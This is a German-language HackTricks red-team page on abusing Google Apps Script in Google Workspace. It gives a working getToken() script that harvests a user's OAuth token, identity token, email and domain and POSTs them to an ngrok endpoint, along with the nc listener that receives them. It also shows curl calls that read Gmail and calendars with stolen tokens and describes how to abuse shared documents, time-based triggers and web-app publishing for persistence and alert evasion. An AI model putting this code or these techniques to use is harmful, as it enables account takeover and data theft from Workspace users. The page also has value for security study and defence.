GWS - App Scripts

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

App Scripts

App Scripts sind Code, der ausgelöst wird, wenn ein Benutzer mit Editorberechtigung auf das Dokument zugreift, mit dem das App-Skript verknüpft ist, und nach Akzeptieren der OAuth-Aufforderung. Sie können auch so eingestellt werden, dass sie vom Besitzer des App-Skripts zu einem bestimmten Zeitpunkt ausgeführt werden (Persistenz).

App-Skript erstellen

Es gibt mehrere Möglichkeiten, ein App-Skript zu erstellen, obwohl die häufigsten aus einem Google-Dokument (jeder Art) und als eigenständiges Projekt sind:

Erstellen Sie ein containergebundenes Projekt aus Google Docs, Sheets oder Slides
  1. Öffnen Sie ein Docs-Dokument, ein Sheets-Arbeitsblatt oder eine Slides-Präsentation.

  2. Klicken Sie auf Erweiterungen > Google Apps Script.

  3. Klicken Sie im Skript-Editor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen Sie ein eigenständiges Projekt

Um ein eigenständiges Projekt aus Apps Script zu erstellen:

  1. Gehen Sie zu script.google.com.

  2. Klicken Sie auf Neues Projekt hinzufügen.

  3. Klicken Sie im Skript-Editor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen Sie ein eigenständiges Projekt aus Google Drive
  1. Öffnen Sie Google Drive.

  2. Klicken Sie auf Neu > Mehr > Google Apps Script.

Erstellen Sie ein containergebundenes Projekt aus Google Forms
  1. Öffnen Sie ein Formular in Google Forms.

  2. Klicken Sie auf Mehr more_vert > Skript-Editor.

  3. Klicken Sie im Skript-Editor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen Sie ein eigenständiges Projekt mithilfe des clasp-Befehlszeilentools

clasp ist ein Befehlszeilentool, mit dem Sie Apps-Script-Projekte von einem Terminal aus erstellen, abrufen/pushen und bereitstellen können.

Weitere Details finden Sie im Leitfaden zur Befehlszeilenschnittstelle mit clasp.

App-Skript-Szenario

Erstellen Sie ein Google Sheet mit App-Skript

Beginnen Sie mit der Erstellung eines App-Skripts, meine Empfehlung für dieses Szenario ist die Erstellung eines Google Sheets und gehen Sie zu Erweiterungen > App-Skripte, dies öffnet ein neues App-Skript für Sie, das mit dem Sheet verknüpft ist.

Token-Leak

Um Zugriff auf das OAuth-Token zu gewähren, müssen Sie auf Dienste + klicken und Berechtigungen wie hinzufügen:

  • AdminDirectory: Zugriff auf Benutzer und Gruppen des Verzeichnisses (wenn der Benutzer über ausreichende Berechtigungen verfügt)

  • Gmail: Um auf Gmail-Daten zuzugreifen

  • Drive: Um auf Drive-Daten zuzugreifen

  • Google Sheets API: Damit es mit dem Trigger funktioniert

Um die benötigten Berechtigungen selbst zu ändern, können Sie zu den Projekteinstellungen gehen und aktivieren: "appsscript.json"-Manifestdatei im Editor anzeigen.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Um die Anfrage abzufangen, können Sie einfach Folgendes ausführen:

ngrok tcp 4444
nc -lv 4444 #macOS

Berechtigungen, die zur Ausführung des App-Skripts angefordert werden:

Bei einer externen Anfrage wird die OAuth-Aufforderung auch um die Berechtigung zur Erreichung externer Endpunkte bitten.

Trigger erstellen

Sobald die App gelesen wurde, klicken Sie auf ⏰ Trigger, um einen Trigger zu erstellen. Wählen Sie als Funktion getToken, die bei Bereitstellung Head ausgeführt wird. Wählen Sie als Ereignisquelle Von Tabellenkalkulation und als Ereignistyp Beim Öffnen oder Beim Bearbeiten (je nach Bedarf) und speichern Sie.

Beachten Sie, dass Sie die Ausführungen der App-Skripts im Register Ausführungen überprüfen können, wenn Sie etwas debuggen möchten.

Teilen

Um das App-Skript auszulösen, muss das Opfer eine Verbindung mit Editor-Zugriff herstellen.

Das Token, das zur Ausführung des App-Skripts verwendet wird, ist das des Erstellers des Triggers, auch wenn die Datei von anderen Benutzern als Editor geöffnet wird.

Missbrauch von "Mit mir geteilten" Dokumenten

Wenn Ihnen jemand ein Dokument mit App-Skripts und einem Trigger, der den Head des App-Skripts verwendet (keine feste Bereitstellung), geteilt hat, können Sie den App-Skript-Code ändern (zum Beispiel die Funktionen zum Stehlen von Token hinzufügen), darauf zugreifen und das App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat! (Beachten Sie, dass das OAuth-Token des Eigentümers die Zugriffsbereiche haben wird, die bei der Erstellung des Triggers angegeben wurden).

Eine Benachrichtigung wird an den Skriptersteller gesendet, die darauf hinweist, dass jemand das Skript geändert hat (Wie wäre es, Gmail-Berechtigungen zu verwenden, um einen Filter zu generieren, um den Alarm zu verhindern?)

Wenn ein Angreifer die Berechtigungen des App-Skripts ändert, werden die Aktualisierungen nicht auf das Dokument angewendet, bis ein neuer Trigger mit den Änderungen erstellt wird. Daher wird ein Angreifer nicht in der Lage sein, das Token des Eigentümers mit mehr Berechtigungen zu stehlen, als die, die er im von ihm erstellten Trigger festgelegt hat.

Kopieren anstelle von Teilen

Wenn Sie einen Link erstellen, um ein Dokument zu teilen, wird ein Link ähnlich diesem erstellt: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Wenn Sie das Ende "/edit" in "/copy" ändern, wird Google Sie fragen, ob Sie eine Kopie des Dokuments erstellen möchten:

Wenn der Benutzer eine Kopie erstellt und darauf zugreift, werden sowohl der Inhalt des Dokuments als auch die App-Skripts kopiert, jedoch nicht die Trigger, daher wird nichts ausgeführt.

Als Webanwendung teilen

Beachten Sie, dass es auch möglich ist, ein App-Skript als Webanwendung zu teilen (im Editor des App-Skripts, bereitstellen als Webanwendung), aber es wird eine Warnung wie diese angezeigt:

Gefolgt von der typischen OAuth-Aufforderung, die um die benötigten Berechtigungen bittet.

Testen

Sie können ein gesammeltes Token testen, um E-Mails aufzulisten mit:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Kalender des Benutzers auflisten:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script als Persistenz

Eine Option für Persistenz wäre es, ein Dokument zu erstellen und einen Trigger für die Funktion getToken hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass jedes Mal, wenn der Angreifer die Datei öffnet, der Token des Opfers exfiltriert wird.

Es ist auch möglich, ein App Script zu erstellen und es alle X-Zeit auszulösen (z. B. alle Minute, Stunde, Tag...). Ein Angreifer, der Anmeldeinformationen kompromittiert hat oder eine Sitzung eines Opfers hat, könnte einen zeitgesteuerten App-Script-Trigger einrichten und jeden Tag einen sehr privilegierten OAuth-Token leaken:

Erstellen Sie einfach ein App Script, gehen Sie zu Triggern, klicken Sie auf Trigger hinzufügen und wählen Sie als Ereignisquelle Zeitgesteuert und wählen Sie die Optionen aus, die am besten zu Ihnen passen:

Dies wird eine Sicherheitswarnungs-E-Mail und eine Push-Nachricht an Ihr Mobilgerät erstellen, die Sie darüber informiert.

Umgehung der nicht überprüften Aufforderung für freigegebenes Dokument

Darüber hinaus, wenn jemand Ihnen ein Dokument mit Editorzugriff geteilt hat, können Sie App Scripts innerhalb des Dokuments generieren und der BESITZER (Ersteller) des Dokuments wird der Besitzer des App Scripts sein.

Das bedeutet, dass der Ersteller des Dokuments als Ersteller jedes App Scripts erscheinen wird, das jemand mit Editorzugriff darin erstellt.

Das bedeutet auch, dass das App Script vom Workspace-Umfeld des Erstellers des Dokuments vertraut wird.

Das bedeutet auch, dass wenn ein App Script bereits existiert und Personen Zugriff gewährt haben, jeder mit Editor-Berechtigung auf dem Dokument es ändern und diesen Zugriff missbrauchen kann. Um dies auszunutzen, benötigen Sie auch Personen, die das App Script auslösen. Ein nützlicher Trick ist es, das Skript als Web-App zu veröffentlichen. Wenn die Personen, die bereits Zugriff auf das App Script gewährt haben, die Webseite aufrufen, werden sie das App Script auslösen (dies funktioniert auch mit <img>-Tags).

Last updated